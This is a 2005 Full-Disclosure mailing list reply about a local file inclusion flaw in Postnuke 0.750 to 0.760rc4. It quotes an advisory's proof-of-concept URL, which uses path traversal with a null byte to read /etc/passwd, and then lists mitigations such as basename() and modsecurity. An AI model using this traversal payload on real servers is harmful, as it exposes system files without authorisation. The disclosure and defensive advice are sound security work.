On Mon, 16 May 2005, pokley wrote: > Product : Postnuke 0.750 (http://www.postnuke.com) > Description: Postnuke 0.750 - 0.760rc4 local file inclusion > Severity: High > > Proof of concept > ================ > http://server.com/index.php?module=Blocks&type=lang&func=../../../../../../etc/passwd%00 > > Fix > === > Fix Available from postnuke cvs since 5th May 2005 > > http://cvs.postnuke.com/viewcvs.cgi/Historic_PostNuke_Library/postnuke-devel/html/includes/pnMod.php.diff?r1=1.47&r2=1.48
Directory traversal in a PHP environment can be avoided in a few different ways: 1) Proper programming practice, 2) Usage of http://php.net/basename, 3) Install modsecurity and prevent path traversal, 4) Disable globals in php.ini. -- Sincerely, Paul Laudanski .. Computer Cops, LLC. Microsoft MVP Windows-Security 2005 CastleCops(SM)... http://castlecops.com CC Blog ......... http://blog.castlecops.com Staff Blogs ..... http://busterbunny.castlecops.com Our Vision ...... http://castlecops.com/postt63382.html http://cuddlesnkisses.com http://justalittlepoke.com http://zhen-xjell.com ________ Information from Computer Cops, L.L.C. ________ This message was checked by NOD32 Antivirus System for Linux Mail Server. part000.txt - is OK http://castlecops.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
